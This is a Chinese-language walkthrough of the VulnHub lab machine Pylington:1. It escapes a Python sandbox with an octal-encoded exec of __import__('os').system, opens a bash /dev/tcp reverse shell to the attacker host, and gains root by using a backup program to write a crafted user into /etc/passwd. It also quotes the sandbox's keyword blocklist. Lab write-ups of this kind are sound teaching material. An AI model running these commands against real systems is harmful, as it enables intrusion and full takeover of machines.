下载地址
https://www.vulnhub.com/entry/pylington-1,684/
环境搭建
VirtualBox,vmware
靶机pylington:1:192.168.56.105
kali:192.168.56.102
信息收集
存活IP扫描(py脚本扫描)
发现靶机的IP为192.168.56.105
端口扫描(Nmap)
nmap -sS -sV -T5 -A 192.168.56.105 -sS:Tcp SYN Scan (sS),半开放扫描,非三次握手的TCP扫描-sV:版本检测,扫描目标主机和端口上运行的软件的版本-T [0-6]:设置定时模板(越高越快),越高越容易被IDS、防火墙检测屏蔽掉-A:综合扫描
开放端口:22端口和80端口
22端口
使用hydra进行爆破,没有爆破出账号密码
80端口
查看源代码没有发现有价值的信息
有个注册页面,无法注册,登录页面经过尝试不存在sql注入
查看robots.txt,发现三个目录,进行查看
/zbir7mn240soxhicso2z页面获取到一个用户名密码
使用发现的账号密码进行登录,成功登录
点击welcome back,stevel 出现pythonIDE
点击在此获得得到python文件进行查看
发现不能出现import,os,open,否则就会检测到恶意
def check_if_safe(code: str) -> bool: #-> 描述函数的返回类型,从而方便开发人员使用,code:str,输入的只能是str类型 if 'import' in code: # import is too dangerous return False elif 'os' in code: # os is too dangerous return False elif 'open' in code: # opening files is also too dangerous return False else: return True print(check_if_safe(code='import os'))
提示沙盒检测到恶意程序
漏洞利用
命令执行获取shell
Bypass python sandboxes
https://book.hacktricks.xyz/misc/basic-python/bypass-python-sandboxes#executing-python-code
经过测试,使用__import__()
函数把数据八进制可以绕过成功执行命令
使用解码解密工具进行转化
在program中输入:
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
成功执行了ls命令
kali nc监听
Bash反弹shell:bash -i >& /dev/tcp/192.168.56.102/12340>&1
获得shell
提权
获取一个可交互式的shell
python -c 'import pty; pty.spawn("/bin/sh")'
在用户py目录下发现可运行文件typing
运行后提示输入the quick brown fox jumps over thelazy dog后得到密码54ezhCGaJV
ssh连接进行登录py用户,查看user.txt得到第一个flag
在Secret_stuff目录下的backup.cc文件进行查看
发现有备份文件的功能,可以利用将账号密码写入到/etc/passwd里面获得root权限
使用mkpasswd查看本机的当前密码
mkpasswd -m sha-512
根据/etc/passwd编辑一个具有root权限的用户
lemonlove:$6$PX/xRZ043jtDQv1l$F4sTC8J3QHy7EJnHAnUSyHX0zqwjemKCjqaruBxjmlOEKZhWvCoQ9Sn86FDsrVZM8P9vwKrdqGj4OzmZE9q1P1:0:0:root:/root:/bin/bash
接着执行backup进行备份到/etc/passwd
备份完成后查看passwd文件发现已经添加成功
切换到lemonlove账号,进入到root目录获取到第二个flag
解码解密工具